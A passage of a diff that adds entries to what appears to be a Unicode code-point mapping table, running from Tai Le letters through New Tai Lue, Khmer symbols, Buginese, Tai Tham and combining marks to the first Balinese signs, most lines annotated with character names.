+ ["\u1956", "\u1956"], /* TAI LE LETTER TA */
+ ["\u1957", "\u1957"], /* TAI LE LETTER THA */
+ ["\u1958", "\u1958"], /* TAI LE LETTER LA */
+ ["\u1959", "\u1959"], /* TAI LE LETTER PA */
+ ["\u195A", "\u195A"], /* TAI LE LETTER PHA */
+ ["\u195B", "\u195B"], /* TAI LE LETTER MA */
+ ["\u195C", "\u195C"], /* TAI LE LETTER FA */
+ ["\u195D", "\u195D"], /* TAI LE LETTER VA */
+ ["\u195E", "\u195E"], /* TAI LE LETTER HA */
+ ["\u195F", "\u195F"], /* TAI LE LETTER QA */
+ ["\u1960", "\u1960"], /* TAI LE LETTER KHA */
+ ["\u1961", "\u1961"], /* TAI LE LETTER TSHA */
+ ["\u1962", "\u1962"], /* TAI LE LETTER NA */
+ ["\u1963", "\u1963"], /* TAI LE LETTER A */
+ ["\u1964", "\u1964"], /* TAI LE LETTER I */
+ ["\u1965", "\u1965"], /* TAI LE LETTER EE */
+ ["\u1966", "\u1966"], /* TAI LE LETTER EH */
+ ["\u1967", "\u1967"], /* TAI LE LETTER U */
+ ["\u1968", "\u1968"], /* TAI LE LETTER OO */
+ ["\u1969", "\u1969"], /* TAI LE LETTER O */
+ ["\u196A", "\u196A"], /* TAI LE LETTER UE */
+ ["\u196B", "\u196B"], /* TAI LE LETTER E */
+ ["\u196C", "\u196C"], /* TAI LE LETTER AUE */
+ ["\u196D", "\u196D"], /* TAI LE LETTER AI */
+ ["\u196E", "\u196E"],
+ ["\u196F", "\u196F"],
+ ["\u1970", "\u1970"], /* TAI LE LETTER TONE-2 */
+ ["\u1971", "\u1971"], /* TAI LE LETTER TONE-3 */
+ ["\u1972", "\u1972"], /* TAI LE LETTER TONE-4 */
+ ["\u1973", "\u1973"], /* TAI LE LETTER TONE-5 */
+ ["\u1974", "\u1974"], /* TAI LE LETTER TONE-6 */
+ ["\u1975", "\u1975"],
+ ["\u1976", "\u1976"],
+ ["\u1977", "\u1977"],
+ ["\u1978", "\u1978"],
+ ["\u1979", "\u1979"],
+ ["\u197A", "\u197A"],
+ ["\u197B", "\u197B"],
+ ["\u197C", "\u197C"],
+ ["\u197D", "\u197D"],
+ ["\u197E", "\u197E"],
+ ["\u197F", "\u197F"],
+ ["\u1980", "\u1980"], /* NEW TAI LUE LETTER HIGH QA */
+ ["\u1981", "\u1981"], /* NEW TAI LUE LETTER LOW QA */
+ ["\u1982", "\u1982"], /* NEW TAI LUE LETTER HIGH KA */
+ ["\u1983", "\u1983"], /* NEW TAI LUE LETTER HIGH XA */
+ ["\u1984", "\u1984"], /* NEW TAI LUE LETTER HIGH NGA */
+ ["\u1985", "\u1985"], /* NEW TAI LUE LETTER LOW KA */
+ ["\u1986", "\u1986"], /* NEW TAI LUE LETTER LOW XA */
+ ["\u1987", "\u1987"], /* NEW TAI LUE LETTER LOW NGA */
+ ["\u1988", "\u1988"], /* NEW TAI LUE LETTER HIGH TSA */
+ ["\u1989", "\u1989"], /* NEW TAI LUE LETTER HIGH SA */
+ ["\u198A", "\u198A"], /* NEW TAI LUE LETTER HIGH YA */
+ ["\u198B", "\u198B"], /* NEW TAI LUE LETTER LOW TSA */
+ ["\u198C", "\u198C"], /* NEW TAI LUE LETTER LOW SA */
+ ["\u198D", "\u198D"], /* NEW TAI LUE LETTER LOW YA */
+ ["\u198E", "\u198E"], /* NEW TAI LUE LETTER HIGH TA */
+ ["\u198F", "\u198F"], /* NEW TAI LUE LETTER HIGH THA */
+ ["\u1990", "\u1990"], /* NEW TAI LUE LETTER HIGH NA */
+ ["\u1991", "\u1991"], /* NEW TAI LUE LETTER LOW TA */
+ ["\u1992", "\u1992"], /* NEW TAI LUE LETTER LOW THA */
+ ["\u1993", "\u1993"], /* NEW TAI LUE LETTER LOW NA */
+ ["\u1994", "\u1994"], /* NEW TAI LUE LETTER HIGH PA */
+ ["\u1995", "\u1995"], /* NEW TAI LUE LETTER HIGH PHA */
+ ["\u1996", "\u1996"], /* NEW TAI LUE LETTER HIGH MA */
+ ["\u1997", "\u1997"], /* NEW TAI LUE LETTER LOW PA */
+ ["\u1998", "\u1998"], /* NEW TAI LUE LETTER LOW PHA */
+ ["\u1999", "\u1999"], /* NEW TAI LUE LETTER LOW MA */
+ ["\u199A", "\u199A"], /* NEW TAI LUE LETTER HIGH FA */
+ ["\u199B", "\u199B"], /* NEW TAI LUE LETTER HIGH VA */
+ ["\u199C", "\u199C"], /* NEW TAI LUE LETTER HIGH LA */
+ ["\u199D", "\u199D"], /* NEW TAI LUE LETTER LOW FA */
+ ["\u199E", "\u199E"], /* NEW TAI LUE LETTER LOW VA */
+ ["\u199F", "\u199F"], /* NEW TAI LUE LETTER LOW LA */
+ ["\u19A0", "\u19A0"], /* NEW TAI LUE LETTER HIGH HA */
+ ["\u19A1", "\u19A1"], /* NEW TAI LUE LETTER HIGH DA */
+ ["\u19A2", "\u19A2"], /* NEW TAI LUE LETTER HIGH BA */
+ ["\u19A3", "\u19A3"], /* NEW TAI LUE LETTER LOW HA */
+ ["\u19A4", "\u19A4"], /* NEW TAI LUE LETTER LOW DA */
+ ["\u19A5", "\u19A5"], /* NEW TAI LUE LETTER LOW BA */
+ ["\u19A6", "\u19A6"], /* NEW TAI LUE LETTER HIGH KVA */
+ ["\u19A7", "\u19A7"], /* NEW TAI LUE LETTER HIGH XVA */
+ ["\u19A8", "\u19A8"], /* NEW TAI LUE LETTER LOW KVA */
+ ["\u19A9", "\u19A9"], /* NEW TAI LUE LETTER LOW XVA */
+ ["\u19AA", "\u19AA"], /* NEW TAI LUE LETTER HIGH SUA */
+ ["\u19AB", "\u19AB"], /* NEW TAI LUE LETTER LOW SUA */
+ ["\u19AC", "\u19AC"],
+ ["\u19AD", "\u19AD"],
+ ["\u19AE", "\u19AE"],
+ ["\u19AF", "\u19AF"],
+ ["\u19B0", "\u19B0"], /* NEW TAI LUE VOWEL SIGN VOWEL SHORTENER */
+ ["\u19B1", "\u19B1"], /* NEW TAI LUE VOWEL SIGN AA */
+ ["\u19B2", "\u19B2"], /* NEW TAI LUE VOWEL SIGN II */
+ ["\u19B3", "\u19B3"], /* NEW TAI LUE VOWEL SIGN U */
+ ["\u19B4", "\u19B4"], /* NEW TAI LUE VOWEL SIGN UU */
+ ["\u19B5", "\u19B5"], /* NEW TAI LUE VOWEL SIGN E */
+ ["\u19B6", "\u19B6"], /* NEW TAI LUE VOWEL SIGN AE */
+ ["\u19B7", "\u19B7"], /* NEW TAI LUE VOWEL SIGN O */
+ ["\u19B8", "\u19B8"], /* NEW TAI LUE VOWEL SIGN OA */
+ ["\u19B9", "\u19B9"], /* NEW TAI LUE VOWEL SIGN UE */
+ ["\u19BA", "\u19BA"], /* NEW TAI LUE VOWEL SIGN AY */
+ ["\u19BB", "\u19BB"], /* NEW TAI LUE VOWEL SIGN AAY */
+ ["\u19BC", "\u19BC"], /* NEW TAI LUE VOWEL SIGN UY */
+ ["\u19BD", "\u19BD"], /* NEW TAI LUE VOWEL SIGN OY */
+ ["\u19BE", "\u19BE"], /* NEW TAI LUE VOWEL SIGN OAY */
+ ["\u19BF", "\u19BF"], /* NEW TAI LUE VOWEL SIGN UEY */
+ ["\u19C0", "\u19C0"], /* NEW TAI LUE VOWEL SIGN IY */
+ ["\u19C1", "\u19C1"], /* NEW TAI LUE LETTER FINAL V */
+ ["\u19C2", "\u19C2"], /* NEW TAI LUE LETTER FINAL NG */
+ ["\u19C3", "\u19C3"], /* NEW TAI LUE LETTER FINAL N */
+ ["\u19C4", "\u19C4"], /* NEW TAI LUE LETTER FINAL M */
+ ["\u19C5", "\u19C5"], /* NEW TAI LUE LETTER FINAL K */
+ ["\u19C6", "\u19C6"], /* NEW TAI LUE LETTER FINAL D */
+ ["\u19C7", "\u19C7"], /* NEW TAI LUE LETTER FINAL B */
+ ["\u19C8", "\u19C8"], /* NEW TAI LUE TONE MARK-1 */
+ ["\u19C9", "\u19C9"], /* NEW TAI LUE TONE MARK-2 */
+ ["\u19CA", "\u19CA"],
+ ["\u19CB", "\u19CB"],
+ ["\u19CC", "\u19CC"],
+ ["\u19CD", "\u19CD"],
+ ["\u19CE", "\u19CE"],
+ ["\u19CF", "\u19CF"],
+ ["\u19D0", "\u19D0"], /* NEW TAI LUE DIGIT ZERO */
+ ["\u19D1", "\u19D1"], /* NEW TAI LUE DIGIT ONE */
+ ["\u19D2", "\u19D2"], /* NEW TAI LUE DIGIT TWO */
+ ["\u19D3", "\u19D3"], /* NEW TAI LUE DIGIT THREE */
+ ["\u19D4", "\u19D4"], /* NEW TAI LUE DIGIT FOUR */
+ ["\u19D5", "\u19D5"], /* NEW TAI LUE DIGIT FIVE */
+ ["\u19D6", "\u19D6"], /* NEW TAI LUE DIGIT SIX */
+ ["\u19D7", "\u19D7"], /* NEW TAI LUE DIGIT SEVEN */
+ ["\u19D8", "\u19D8"], /* NEW TAI LUE DIGIT EIGHT */
+ ["\u19D9", "\u19D9"], /* NEW TAI LUE DIGIT NINE */
+ ["\u19DA", "\u19DA"], /* NEW TAI LUE THAM DIGIT ONE */
+ ["\u19DB", "\u19DB"],
+ ["\u19DC", "\u19DC"],
+ ["\u19DD", "\u19DD"],
+ ["\u19DE", "\u19DE"], /* NEW TAI LUE SIGN LAE */
+ ["\u19DF", "\u19DF"], /* NEW TAI LUE SIGN LAEV */
+ ["\u19E0", "\u19E0"], /* KHMER SYMBOL PATHAMASAT */
+ ["\u19E1", "\u19E1"], /* KHMER SYMBOL MUOY KOET */
+ ["\u19E2", "\u19E2"], /* KHMER SYMBOL PII KOET */
+ ["\u19E3", "\u19E3"], /* KHMER SYMBOL BEI KOET */
+ ["\u19E4", "\u19E4"], /* KHMER SYMBOL BUON KOET */
+ ["\u19E5", "\u19E5"], /* KHMER SYMBOL PRAM KOET */
+ ["\u19E6", "\u19E6"], /* KHMER SYMBOL PRAM-MUOY KOET */
+ ["\u19E7", "\u19E7"], /* KHMER SYMBOL PRAM-PII KOET */
+ ["\u19E8", "\u19E8"], /* KHMER SYMBOL PRAM-BEI KOET */
+ ["\u19E9", "\u19E9"], /* KHMER SYMBOL PRAM-BUON KOET */
+ ["\u19EA", "\u19EA"], /* KHMER SYMBOL DAP KOET */
+ ["\u19EB", "\u19EB"], /* KHMER SYMBOL DAP-MUOY KOET */
+ ["\u19EC", "\u19EC"], /* KHMER SYMBOL DAP-PII KOET */
+ ["\u19ED", "\u19ED"], /* KHMER SYMBOL DAP-BEI KOET */
+ ["\u19EE", "\u19EE"], /* KHMER SYMBOL DAP-BUON KOET */
+ ["\u19EF", "\u19EF"], /* KHMER SYMBOL DAP-PRAM KOET */
+ ["\u19F0", "\u19F0"], /* KHMER SYMBOL TUTEYASAT */
+ ["\u19F1", "\u19F1"], /* KHMER SYMBOL MUOY ROC */
+ ["\u19F2", "\u19F2"], /* KHMER SYMBOL PII ROC */
+ ["\u19F3", "\u19F3"], /* KHMER SYMBOL BEI ROC */
+ ["\u19F4", "\u19F4"], /* KHMER SYMBOL BUON ROC */
+ ["\u19F5", "\u19F5"], /* KHMER SYMBOL PRAM ROC */
+ ["\u19F6", "\u19F6"], /* KHMER SYMBOL PRAM-MUOY ROC */
+ ["\u19F7", "\u19F7"], /* KHMER SYMBOL PRAM-PII ROC */
+ ["\u19F8", "\u19F8"], /* KHMER SYMBOL PRAM-BEI ROC */
+ ["\u19F9", "\u19F9"], /* KHMER SYMBOL PRAM-BUON ROC */
+ ["\u19FA", "\u19FA"], /* KHMER SYMBOL DAP ROC */
+ ["\u19FB", "\u19FB"], /* KHMER SYMBOL DAP-MUOY ROC */
+ ["\u19FC", "\u19FC"], /* KHMER SYMBOL DAP-PII ROC */
+ ["\u19FD", "\u19FD"], /* KHMER SYMBOL DAP-BEI ROC */
+ ["\u19FE", "\u19FE"], /* KHMER SYMBOL DAP-BUON ROC */
+ ["\u19FF", "\u19FF"], /* KHMER SYMBOL DAP-PRAM ROC */
+ ["\u1A00", "\u1A00"], /* BUGINESE LETTER KA */
+ ["\u1A01", "\u1A01"], /* BUGINESE LETTER GA */
+ ["\u1A02", "\u1A02"], /* BUGINESE LETTER NGA */
+ ["\u1A03", "\u1A03"], /* BUGINESE LETTER NGKA */
+ ["\u1A04", "\u1A04"], /* BUGINESE LETTER PA */
+ ["\u1A05", "\u1A05"], /* BUGINESE LETTER BA */
+ ["\u1A06", "\u1A06"], /* BUGINESE LETTER MA */
+ ["\u1A07", "\u1A07"], /* BUGINESE LETTER MPA */
+ ["\u1A08", "\u1A08"], /* BUGINESE LETTER TA */
+ ["\u1A09", "\u1A09"], /* BUGINESE LETTER DA */
+ ["\u1A0A", "\u1A0A"], /* BUGINESE LETTER NA */
+ ["\u1A0B", "\u1A0B"], /* BUGINESE LETTER NRA */
+ ["\u1A0C", "\u1A0C"], /* BUGINESE LETTER CA */
+ ["\u1A0D", "\u1A0D"], /* BUGINESE LETTER JA */
+ ["\u1A0E", "\u1A0E"], /* BUGINESE LETTER NYA */
+ ["\u1A0F", "\u1A0F"], /* BUGINESE LETTER NYCA */
+ ["\u1A10", "\u1A10"], /* BUGINESE LETTER YA */
+ ["\u1A11", "\u1A11"], /* BUGINESE LETTER RA */
+ ["\u1A12", "\u1A12"], /* BUGINESE LETTER LA */
+ ["\u1A13", "\u1A13"], /* BUGINESE LETTER VA */
+ ["\u1A14", "\u1A14"], /* BUGINESE LETTER SA */
+ ["\u1A15", "\u1A15"], /* BUGINESE LETTER A */
+ ["\u1A16", "\u1A16"], /* BUGINESE LETTER HA */
+ ["\u1A17", "\u1A17"], /* BUGINESE VOWEL SIGN I */
+ ["\u1A18", "\u1A18"], /* BUGINESE VOWEL SIGN U */
+ ["\u1A19", "\u1A19"], /* BUGINESE VOWEL SIGN E */
+ ["\u1A1A", "\u1A1A"], /* BUGINESE VOWEL SIGN O */
+ ["\u1A1B", "\u1A1B"], /* BUGINESE VOWEL SIGN AE */
+ ["\u1A1C", "\u1A1C"],
+ ["\u1A1D", "\u1A1D"],
+ ["\u1A1E", "\u1A1E"], /* BUGINESE PALLAWA */
+ ["\u1A1F", "\u1A1F"], /* BUGINESE END OF SECTION */
+ ["\u1A20", "\u1A20"], /* TAI THAM LETTER HIGH KA */
+ ["\u1A21", "\u1A21"], /* TAI THAM LETTER HIGH KHA */
+ ["\u1A22", "\u1A22"], /* TAI THAM LETTER HIGH KXA */
+ ["\u1A23", "\u1A23"], /* TAI THAM LETTER LOW KA */
+ ["\u1A24", "\u1A24"], /* TAI THAM LETTER LOW KXA */
+ ["\u1A25", "\u1A25"], /* TAI THAM LETTER LOW KHA */
+ ["\u1A26", "\u1A26"], /* TAI THAM LETTER NGA */
+ ["\u1A27", "\u1A27"], /* TAI THAM LETTER HIGH CA */
+ ["\u1A28", "\u1A28"], /* TAI THAM LETTER HIGH CHA */
+ ["\u1A29", "\u1A29"], /* TAI THAM LETTER LOW CA */
+ ["\u1A2A", "\u1A2A"], /* TAI THAM LETTER LOW SA */
+ ["\u1A2B", "\u1A2B"], /* TAI THAM LETTER LOW CHA */
+ ["\u1A2C", "\u1A2C"], /* TAI THAM LETTER NYA */
+ ["\u1A2D", "\u1A2D"], /* TAI THAM LETTER RATA */
+ ["\u1A2E", "\u1A2E"], /* TAI THAM LETTER HIGH RATHA */
+ ["\u1A2F", "\u1A2F"], /* TAI THAM LETTER DA */
+ ["\u1A30", "\u1A30"], /* TAI THAM LETTER LOW RATHA */
+ ["\u1A31", "\u1A31"], /* TAI THAM LETTER RANA */
+ ["\u1A32", "\u1A32"], /* TAI THAM LETTER HIGH TA */
+ ["\u1A33", "\u1A33"], /* TAI THAM LETTER HIGH THA */
+ ["\u1A34", "\u1A34"], /* TAI THAM LETTER LOW TA */
+ ["\u1A35", "\u1A35"], /* TAI THAM LETTER LOW THA */
+ ["\u1A36", "\u1A36"], /* TAI THAM LETTER NA */
+ ["\u1A37", "\u1A37"], /* TAI THAM LETTER BA */
+ ["\u1A38", "\u1A38"], /* TAI THAM LETTER HIGH PA */
+ ["\u1A39", "\u1A39"], /* TAI THAM LETTER HIGH PHA */
+ ["\u1A3A", "\u1A3A"], /* TAI THAM LETTER HIGH FA */
+ ["\u1A3B", "\u1A3B"], /* TAI THAM LETTER LOW PA */
+ ["\u1A3C", "\u1A3C"], /* TAI THAM LETTER LOW FA */
+ ["\u1A3D", "\u1A3D"], /* TAI THAM LETTER LOW PHA */
+ ["\u1A3E", "\u1A3E"], /* TAI THAM LETTER MA */
+ ["\u1A3F", "\u1A3F"], /* TAI THAM LETTER LOW YA */
+ ["\u1A40", "\u1A40"], /* TAI THAM LETTER HIGH YA */
+ ["\u1A41", "\u1A41"], /* TAI THAM LETTER RA */
+ ["\u1A42", "\u1A42"], /* TAI THAM LETTER RUE */
+ ["\u1A43", "\u1A43"], /* TAI THAM LETTER LA */
+ ["\u1A44", "\u1A44"], /* TAI THAM LETTER LUE */
+ ["\u1A45", "\u1A45"], /* TAI THAM LETTER WA */
+ ["\u1A46", "\u1A46"], /* TAI THAM LETTER HIGH SHA */
+ ["\u1A47", "\u1A47"], /* TAI THAM LETTER HIGH SSA */
+ ["\u1A48", "\u1A48"], /* TAI THAM LETTER HIGH SA */
+ ["\u1A49", "\u1A49"], /* TAI THAM LETTER HIGH HA */
+ ["\u1A4A", "\u1A4A"], /* TAI THAM LETTER LLA */
+ ["\u1A4B", "\u1A4B"], /* TAI THAM LETTER A */
+ ["\u1A4C", "\u1A4C"], /* TAI THAM LETTER LOW HA */
+ ["\u1A4D", "\u1A4D"], /* TAI THAM LETTER I */
+ ["\u1A4E", "\u1A4E"], /* TAI THAM LETTER II */
+ ["\u1A4F", "\u1A4F"], /* TAI THAM LETTER U */
+ ["\u1A50", "\u1A50"], /* TAI THAM LETTER UU */
+ ["\u1A51", "\u1A51"], /* TAI THAM LETTER EE */
+ ["\u1A52", "\u1A52"], /* TAI THAM LETTER OO */
+ ["\u1A53", "\u1A53"], /* TAI THAM LETTER LAE */
+ ["\u1A54", "\u1A54"], /* TAI THAM LETTER GREAT SA */
+ ["\u1A55", "\u1A55"], /* TAI THAM CONSONANT SIGN MEDIAL RA */
+ ["\u1A56", "\u1A56"], /* TAI THAM CONSONANT SIGN MEDIAL LA */
+ ["\u1A57", "\u1A57"], /* TAI THAM CONSONANT SIGN LA TANG LAI */
+ ["\u1A58", "\u1A58"], /* TAI THAM SIGN MAI KANG LAI */
+ ["\u1A59", "\u1A59"], /* TAI THAM CONSONANT SIGN FINAL NGA */
+ ["\u1A5A", "\u1A5A"], /* TAI THAM CONSONANT SIGN LOW PA */
+ ["\u1A5B", "\u1A5B"], /* TAI THAM CONSONANT SIGN HIGH RATHA OR LOW PA */
+ ["\u1A5C", "\u1A5C"], /* TAI THAM CONSONANT SIGN MA */
+ ["\u1A5D", "\u1A5D"], /* TAI THAM CONSONANT SIGN BA */
+ ["\u1A5E", "\u1A5E"], /* TAI THAM CONSONANT SIGN SA */
+ ["\u1A5F", "\u1A5F"],
+ ["\u1A60", "\u1A60"], /* TAI THAM SIGN SAKOT */
+ ["\u1A61", "\u1A61"], /* TAI THAM VOWEL SIGN A */
+ ["\u1A62", "\u1A62"], /* TAI THAM VOWEL SIGN MAI SAT */
+ ["\u1A63", "\u1A63"], /* TAI THAM VOWEL SIGN AA */
+ ["\u1A64", "\u1A64"], /* TAI THAM VOWEL SIGN TALL AA */
+ ["\u1A65", "\u1A65"], /* TAI THAM VOWEL SIGN I */
+ ["\u1A66", "\u1A66"], /* TAI THAM VOWEL SIGN II */
+ ["\u1A67", "\u1A67"], /* TAI THAM VOWEL SIGN UE */
+ ["\u1A68", "\u1A68"], /* TAI THAM VOWEL SIGN UUE */
+ ["\u1A69", "\u1A69"], /* TAI THAM VOWEL SIGN U */
+ ["\u1A6A", "\u1A6A"], /* TAI THAM VOWEL SIGN UU */
+ ["\u1A6B", "\u1A6B"], /* TAI THAM VOWEL SIGN O */
+ ["\u1A6C", "\u1A6C"], /* TAI THAM VOWEL SIGN OA BELOW */
+ ["\u1A6D", "\u1A6D"], /* TAI THAM VOWEL SIGN OY */
+ ["\u1A6E", "\u1A6E"], /* TAI THAM VOWEL SIGN E */
+ ["\u1A6F", "\u1A6F"], /* TAI THAM VOWEL SIGN AE */
+ ["\u1A70", "\u1A70"], /* TAI THAM VOWEL SIGN OO */
+ ["\u1A71", "\u1A71"], /* TAI THAM VOWEL SIGN AI */
+ ["\u1A72", "\u1A72"], /* TAI THAM VOWEL SIGN THAM AI */
+ ["\u1A73", "\u1A73"], /* TAI THAM VOWEL SIGN OA ABOVE */
+ ["\u1A74", "\u1A74"], /* TAI THAM SIGN MAI KANG */
+ ["\u1A75", "\u1A75"], /* TAI THAM SIGN TONE-1 */
+ ["\u1A76", "\u1A76"], /* TAI THAM SIGN TONE-2 */
+ ["\u1A77", "\u1A77"], /* TAI THAM SIGN KHUEN TONE-3 */
+ ["\u1A78", "\u1A78"], /* TAI THAM SIGN KHUEN TONE-4 */
+ ["\u1A79", "\u1A79"], /* TAI THAM SIGN KHUEN TONE-5 */
+ ["\u1A7A", "\u1A7A"], /* TAI THAM SIGN RA HAAM */
+ ["\u1A7B", "\u1A7B"], /* TAI THAM SIGN MAI SAM */
+ ["\u1A7C", "\u1A7C"], /* TAI THAM SIGN KHUEN-LUE KARAN */
+ ["\u1A7D", "\u1A7D"],
+ ["\u1A7E", "\u1A7E"],
+ ["\u1A7F", "\u1A7F"], /* TAI THAM COMBINING CRYPTOGRAMMIC DOT */
+ ["\u1A80", "\u1A80"], /* TAI THAM HORA DIGIT ZERO */
+ ["\u1A81", "\u1A81"], /* TAI THAM HORA DIGIT ONE */
+ ["\u1A82", "\u1A82"], /* TAI THAM HORA DIGIT TWO */
+ ["\u1A83", "\u1A83"], /* TAI THAM HORA DIGIT THREE */
+ ["\u1A84", "\u1A84"], /* TAI THAM HORA DIGIT FOUR */
+ ["\u1A85", "\u1A85"], /* TAI THAM HORA DIGIT FIVE */
+ ["\u1A86", "\u1A86"], /* TAI THAM HORA DIGIT SIX */
+ ["\u1A87", "\u1A87"], /* TAI THAM HORA DIGIT SEVEN */
+ ["\u1A88", "\u1A88"], /* TAI THAM HORA DIGIT EIGHT */
+ ["\u1A89", "\u1A89"], /* TAI THAM HORA DIGIT NINE */
+ ["\u1A8A", "\u1A8A"],
+ ["\u1A8B", "\u1A8B"],
+ ["\u1A8C", "\u1A8C"],
+ ["\u1A8D", "\u1A8D"],
+ ["\u1A8E", "\u1A8E"],
+ ["\u1A8F", "\u1A8F"],
+ ["\u1A90", "\u1A90"], /* TAI THAM THAM DIGIT ZERO */
+ ["\u1A91", "\u1A91"], /* TAI THAM THAM DIGIT ONE */
+ ["\u1A92", "\u1A92"], /* TAI THAM THAM DIGIT TWO */
+ ["\u1A93", "\u1A93"], /* TAI THAM THAM DIGIT THREE */
+ ["\u1A94", "\u1A94"], /* TAI THAM THAM DIGIT FOUR */
+ ["\u1A95", "\u1A95"], /* TAI THAM THAM DIGIT FIVE */
+ ["\u1A96", "\u1A96"], /* TAI THAM THAM DIGIT SIX */
+ ["\u1A97", "\u1A97"], /* TAI THAM THAM DIGIT SEVEN */
+ ["\u1A98", "\u1A98"], /* TAI THAM THAM DIGIT EIGHT */
+ ["\u1A99", "\u1A99"], /* TAI THAM THAM DIGIT NINE */
+ ["\u1A9A", "\u1A9A"],
+ ["\u1A9B", "\u1A9B"],
+ ["\u1A9C", "\u1A9C"],
+ ["\u1A9D", "\u1A9D"],
+ ["\u1A9E", "\u1A9E"],
+ ["\u1A9F", "\u1A9F"],
+ ["\u1AA0", "\u1AA0"], /* TAI THAM SIGN WIANG */
+ ["\u1AA1", "\u1AA1"], /* TAI THAM SIGN WIANGWAAK */
+ ["\u1AA2", "\u1AA2"], /* TAI THAM SIGN SAWAN */
+ ["\u1AA3", "\u1AA3"], /* TAI THAM SIGN KEOW */
+ ["\u1AA4", "\u1AA4"], /* TAI THAM SIGN HOY */
+ ["\u1AA5", "\u1AA5"], /* TAI THAM SIGN DOKMAI */
+ ["\u1AA6", "\u1AA6"], /* TAI THAM SIGN REVERSED ROTATED RANA */
+ ["\u1AA7", "\u1AA7"], /* TAI THAM SIGN MAI YAMOK */
+ ["\u1AA8", "\u1AA8"], /* TAI THAM SIGN KAAN */
+ ["\u1AA9", "\u1AA9"], /* TAI THAM SIGN KAANKUU */
+ ["\u1AAA", "\u1AAA"], /* TAI THAM SIGN SATKAAN */
+ ["\u1AAB", "\u1AAB"], /* TAI THAM SIGN SATKAANKUU */
+ ["\u1AAC", "\u1AAC"], /* TAI THAM SIGN HANG */
+ ["\u1AAD", "\u1AAD"], /* TAI THAM SIGN CAANG */
+ ["\u1AAE", "\u1AAE"],
+ ["\u1AAF", "\u1AAF"],
+ ["\u1AB0", "\u1AB0"], /* COMBINING DOUBLED CIRCUMFLEX ACCENT */
+ ["\u1AB1", "\u1AB1"], /* COMBINING DIAERESIS-RING */
+ ["\u1AB2", "\u1AB2"], /* COMBINING INFINITY */
+ ["\u1AB3", "\u1AB3"], /* COMBINING DOWNWARDS ARROW */
+ ["\u1AB4", "\u1AB4"], /* COMBINING TRIPLE DOT */
+ ["\u1AB5", "\u1AB5"], /* COMBINING X-X BELOW */
+ ["\u1AB6", "\u1AB6"], /* COMBINING WIGGLY LINE BELOW */
+ ["\u1AB7", "\u1AB7"], /* COMBINING OPEN MARK BELOW */
+ ["\u1AB8", "\u1AB8"], /* COMBINING DOUBLE OPEN MARK BELOW */
+ ["\u1AB9", "\u1AB9"], /* COMBINING LIGHT CENTRALIZATION STROKE BELOW */
+ ["\u1ABA", "\u1ABA"], /* COMBINING STRONG CENTRALIZATION STROKE BELOW */
+ ["\u1ABB", "\u1ABB"], /* COMBINING PARENTHESES ABOVE */
+ ["\u1ABC", "\u1ABC"], /* COMBINING DOUBLE PARENTHESES ABOVE */
+ ["\u1ABD", "\u1ABD"], /* COMBINING PARENTHESES BELOW */
+ ["\u1ABE", "\u1ABE"], /* COMBINING PARENTHESES OVERLAY */
+ ["\u1ABF", "\u1ABF"], /* COMBINING LATIN SMALL LETTER W BELOW */
+ ["\u1AC0", "\u1AC0"], /* COMBINING LATIN SMALL LETTER TURNED W BELOW */
+ ["\u1AC1", "\u1AC1"], /* COMBINING LEFT PARENTHESIS ABOVE LEFT */
+ ["\u1AC2", "\u1AC2"], /* COMBINING RIGHT PARENTHESIS ABOVE RIGHT */
+ ["\u1AC3", "\u1AC3"], /* COMBINING LEFT PARENTHESIS BELOW LEFT */
+ ["\u1AC4", "\u1AC4"], /* COMBINING RIGHT PARENTHESIS BELOW RIGHT */
+ ["\u1AC5", "\u1AC5"], /* COMBINING SQUARE BRACKETS ABOVE */
+ ["\u1AC6", "\u1AC6"], /* COMBINING NUMBER SIGN ABOVE */
+ ["\u1AC7", "\u1AC7"], /* COMBINING INVERTED DOUBLE ARCH ABOVE */
+ ["\u1AC8", "\u1AC8"], /* COMBINING PLUS SIGN ABOVE */
+ ["\u1AC9", "\u1AC9"], /* COMBINING DOUBLE PLUS SIGN ABOVE */
+ ["\u1ACA", "\u1ACA"], /* COMBINING DOUBLE PLUS SIGN BELOW */
+ ["\u1ACB", "\u1ACB"], /* COMBINING TRIPLE ACUTE ACCENT */
+ ["\u1ACC", "\u1ACC"], /* COMBINING LATIN SMALL LETTER INSULAR G */
+ ["\u1ACD", "\u1ACD"], /* COMBINING LATIN SMALL LETTER INSULAR R */
+ ["\u1ACE", "\u1ACE"], /* COMBINING LATIN SMALL LETTER INSULAR T */
+ ["\u1ACF", "\u1ACF"],
+ ["\u1AD0", "\u1AD0"],
+ ["\u1AD1", "\u1AD1"],
+ ["\u1AD2", "\u1AD2"],
+ ["\u1AD3", "\u1AD3"],
+ ["\u1AD4", "\u1AD4"],
+ ["\u1AD5", "\u1AD5"],
+ ["\u1AD6", "\u1AD6"],
+ ["\u1AD7", "\u1AD7"],
+ ["\u1AD8", "\u1AD8"],
+ ["\u1AD9", "\u1AD9"],
+ ["\u1ADA", "\u1ADA"],
+ ["\u1ADB", "\u1ADB"],
+ ["\u1ADC", "\u1ADC"],
+ ["\u1ADD", "\u1ADD"],
+ ["\u1ADE", "\u1ADE"],
+ ["\u1ADF", "\u1ADF"],
+ ["\u1AE0", "\u1AE0"],
+ ["\u1AE1", "\u1AE1"],
+ ["\u1AE2", "\u1AE2"],
+ ["\u1AE3", "\u1AE3"],
+ ["\u1AE4", "\u1AE4"],
+ ["\u1AE5", "\u1AE5"],
+ ["\u1AE6", "\u1AE6"],
+ ["\u1AE7", "\u1AE7"],
+ ["\u1AE8", "\u1AE8"],
+ ["\u1AE9", "\u1AE9"],
+ ["\u1AEA", "\u1AEA"],
+ ["\u1AEB", "\u1AEB"],
+ ["\u1AEC", "\u1AEC"],
+ ["\u1AED", "\u1AED"],
+ ["\u1AEE", "\u1AEE"],
+ ["\u1AEF", "\u1AEF"],
+ ["\u1AF0", "\u1AF0"],
+ ["\u1AF1", "\u1AF1"],
+ ["\u1AF2", "\u1AF2"],
+ ["\u1AF3", "\u1AF3"],
+ ["\u1AF4", "\u1AF4"],
+ ["\u1AF5", "\u1AF5"],
+ ["\u1AF6", "\u1AF6"],
+ ["\u1AF7", "\u1AF7"],
+ ["\u1AF8", "\u1AF8"],
+ ["\u1AF9", "\u1AF9"],
+ ["\u1AFA", "\u1AFA"],
+ ["\u1AFB", "\u1AFB"],
+ ["\u1AFC", "\u1AFC"],
+ ["\u1AFD", "\u1AFD"],
+ ["\u1AFE", "\u1AFE"],
+ ["\u1AFF", "\u1AFF"],
+ ["\u1B00", "\u1B00"], /* BALINESE SIGN ULU RICEM */
+ ["\u1B01", "\u1B01"], /* BALINESE SIGN ULU CANDRA */
